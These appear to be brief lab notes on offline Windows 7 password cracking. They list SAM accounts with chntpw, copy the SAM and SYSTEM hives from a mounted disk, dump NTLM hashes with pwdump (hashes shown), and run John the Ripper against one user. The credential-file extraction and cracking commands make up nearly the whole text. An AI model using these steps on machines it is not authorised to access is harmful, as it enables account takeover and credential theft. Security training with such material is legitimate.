Password Hacking

Windows 7

chntpw

• chntpw -l SAM

chntpw version 1.00 140201, (c) Petter N Hagen
Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM>
ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <lf>
File size 262144 [40000] bytes, containing 8 pages (+ 1 headerpage)
Used for data: 291/56144 blocks/bytes, unused: 18/9136 blocks/bytes.

| RID -|---------- Username ------------| Admin? |- Lock? --|
| 01f4 | Administrator                  | ADMIN  | dis/lock |
| 01f5 | Gast                           |        | dis/lock |
| 03e9 | Jan                            | ADMIN  |          |
| 03ee | thomas                         | ADMIN  |          |
| 03ec | xinux                          | ADMIN  |          |

john the ripper

• cd /mnt/Windows(System32/config
• cp SAM SYSTEM /root
• cd /root
• pwdump SYSTEM SAM > hash.txt
• root@kali:~# cat hash.txt

Administrator:500:aad3b435b51404eeaad3b435b51404ee:94aa68f72ab39cfec7ffcb58dca3358c:::
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jan:1001:aad3b435b51404eeaad3b435b51404ee:18af5f2d758336eade8dd06361c6acc2:::
xinux:1004:aad3b435b51404eeaad3b435b51404ee:912b772615d5d5c2619ea89650f923f6:::
thomas:1006:aad3b435b51404eeaad3b435b51404ee:912b772615d5d5c2619ea89650f923f6::

• john hash.txt -format=nt2 -users=xinux